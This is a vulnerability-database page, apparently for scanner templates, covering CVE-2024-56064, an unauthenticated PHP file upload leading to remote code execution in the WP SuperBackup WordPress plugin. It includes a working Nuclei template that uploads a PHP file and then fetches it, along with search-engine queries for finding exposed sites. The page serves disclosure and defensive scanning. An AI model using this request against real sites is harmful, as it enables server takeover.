/Vulnerability Library

WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE

CVE-2024-56064
Early Release

Description

The Super Backup & Clone - Migrate for WordPress plugin (indeed-wp-superbackup) is vulnerable to arbitrary file uploads due to missing file type validation and a missing capability check on the ibk_restore_migrate_check() function in all versions up to and including 2.3.3. Unauthenticated attackers can upload arbitrary PHP files on the affected site's server which leads to remote code execution. Files are written to /wp-content/uploads/isnapshots/.

Severity

Critical

CVSS Score

10

Exploit Probability

15%

Affected Product

indeed-wp-superbackup

Published Date

August 13, 2026

Template Author

princechaddha

CVE-2024-56064.yaml
id: CVE-2024-56064

info:
  name: WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE
  author: princechaddha
  severity: critical
  description: |
    The Super Backup & Clone - Migrate for WordPress plugin (indeed-wp-superbackup) is vulnerable to arbitrary file uploads due to missing file type validation and a missing capability check on the ibk_restore_migrate_check() function in all versions up to and including 2.3.3. Unauthenticated attackers can upload arbitrary PHP files on the affected site's server which leads to remote code execution. Files are written to /wp-content/uploads/isnapshots/.
  impact: |
    Unauthenticated remote code execution on the affected WordPress server. Attacker can upload a web shell to achieve full server compromise, credential theft, and persistent backdoor installation.
  remediation: |
    Update the WP SuperBackup plugin to version 2.4 or later. If update is not possible, remove or deactivate the plugin immediately.
  reference:
    - https://patchstack.com/database/wordpress/plugin/indeed-wp-superbackup/vulnerability/wordpress-wp-superbackup-plugin-2-3-3-unauthenticated-arbitrary-file-upload-vulnerability
    - https://github.com/RandomRobbieBF/CVE-2024-56064
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56064
    - https://wpscan.com/vulnerability/ab939130-3a48-4179-8722-0f09340aee4d/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2024-56064
    cwe-id: CWE-434
    epss-score: 0.15342
    epss-percentile: 0.96471
  metadata:
    verified: true
    max-request: 2
    vendor: azzaroco
    product: indeed-wp-superbackup
    framework: wordpress
    publicwww-query: "/wp-content/plugins/indeed-wp-superbackup/"
    fofa-query: body="/wp-content/plugins/indeed-wp-superbackup/"
    shodan-query: http.html:"/wp-content/plugins/indeed-wp-superbackup/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,rce,file-upload,intrusive,vkev,unauth,superbackup,vuln

variables:
  fname: "{{rand_base(8)}}"
  marker: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=ibk_admin&tab=restore HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------CVE202456064Bound
        X-Requested-With: XMLHttpRequest
        Connection: close

        -----------------------------CVE202456064Bound
        Content-Disposition: form-data; name="ibk_restore_migrate_action"

        1
        -----------------------------CVE202456064Bound
        Content-Disposition: form-data; name="restore_type"

        restore_file
        -----------------------------CVE202456064Bound
        Content-Disposition: form-data; name="restore_url"


        -----------------------------CVE202456064Bound
        Content-Disposition: form-data; name="upload_file"; filename="{{fname}}.php"
        Content-Type: application/octet-stream

        <?php echo "{{marker}}"; unlink(__FILE__); ?>
        -----------------------------CVE202456064Bound--

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/isnapshots/{{fname}}.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d1a44c64451c1bc3be9a7e2084594f90b9f8e307cc13d5efacb605105ff730110220111999ca7b8d34e842034cefbbeeb5f37b0043e849f6ebcc6b06251f33366904:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2024-56064
CWE ID:
cwe-434

References

https://patchstack.com/database/wordpress/plugin/indeed-wp-superbackup/vulnerability/wordpress-wp-superbackup-plugin-2-3-3-unauthenticated-arbitrary-file-upload-vulnerabilityhttps://github.com/RandomRobbieBF/CVE-2024-56064https://nvd.nist.gov/vuln/detail/CVE-2024-56064https://wpscan.com/vulnerability/ab939130-3a48-4179-8722-0f09340aee4d/

Remediation Steps

Update the WP SuperBackup plugin to version 2.4 or later. If update is not possible, remove or deactivate the plugin immediately.